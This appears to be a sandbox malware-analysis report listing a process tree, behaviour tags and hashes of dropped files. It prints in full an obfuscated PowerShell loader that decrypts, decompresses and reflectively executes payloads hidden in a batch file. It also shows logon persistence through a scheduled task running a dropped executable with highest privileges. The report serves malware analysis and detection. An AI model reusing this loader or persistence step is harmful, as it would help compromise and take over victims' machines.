C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LfcFzG8RsgFQuzCbge5AZWKnjDyvcb7J2DMyfnjW+WE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('t0LkWuaxKmd71m5FdnY80w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vGXxC=New-Object System.IO.MemoryStream(,$param_var); $MJyez=New-Object System.IO.MemoryStream; $GEiaV=New-Object System.IO.Compression.GZipStream($vGXxC, [IO.Compression.CompressionMode]::Decompress); $GEiaV.CopyTo($MJyez); $GEiaV.Dispose(); $vGXxC.Dispose(); $MJyez.Dispose(); $MJyez.ToArray();}function execute_function($param_var,$param2_var){ $wRrOX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $JYzvg=$wRrOX.EntryPoint; $JYzvg.Invoke($null, $param2_var);}$BMtWH = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_662.bat';$host.UI.RawUI.WindowTitle = $BMtWH;$VjJUr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($BMtWH).Split([Environment]::NewLine);foreach ($buUQD in $VjJUr) { if ($buUQD.StartsWith('ZyCIkpbtJnSamEKtqvbb')) { $OKyUT=$buUQD.Substring(20); break; }}$payloads_var=[string[]]$OKyUT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:2512
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1984 -
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\System32\WinHost32.exe" /rl HIGHEST /f7⤵
- Creates scheduled task(s)
PID:1812 -
C:\Users\Admin\AppData\Roaming\System32\WinHost32.exe"C:\Users\Admin\AppData\Roaming\System32\WinHost32.exe"7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5016
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3604
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4612
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4912
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1700
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:3404
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:1888
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
-
Filesize
2KB
MD5ac23af7f8837be86de73142102b52723
SHA19ecb330fcc169d090d6daaa1b99388f34520b166
SHA256f589a42afcb43beae886a9d95df59cb4c5b6321e50c6232b5bdd77ea60632a98
SHA512669f102680cab48b9a93ddf8c7e3c0f5515a0484aac824b923a828d5e0dde822c2da43a160092b963a3ee786cefe9f900cef1f33b1fe22c1832d9c8b509378a9
-
Filesize
2KB
MD5005bc2ef5a9d890fb2297be6a36f01c2
SHA10c52adee1316c54b0bfdc510c0963196e7ebb430
SHA256342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
SHA512f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
1.9MB
MD5ca98faeecf7f69f417e6b8e706986b2e
SHA12ed0d04b476658f57e50b86dba53cdc0edb379e8
SHA25669d3f18cd40fe951e863d6f7cb34f623ae1f169a030c166efd713630744b14da
SHA512ad3a6e51492f68bf623b08d01d8d9cc9bc58a6496e04c734ddacd2be120987f56ff228bf24f92a67aff408d801a670cfbb83564907219523776b7a8263b41d64
-
Filesize
124B
MD5088c8c2c96ccce21437ecbc978c6a3b3
SHA1db275e0fcc95b7f748c96c0ebae9fd4256c4a199
SHA256b02eec25db3294faa95abca10726d6560a934b0a62dbc2a27aba0f5fc09a269c
SHA512b3a34ad8e3b592c52b93773bce7a7279e5759a45ee6b3478056fd3b4260d36a9edfbdd9d10a5ed62eaabb2fa34d102b1dc28a769a8979288e56093ee19d377e7
-
Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b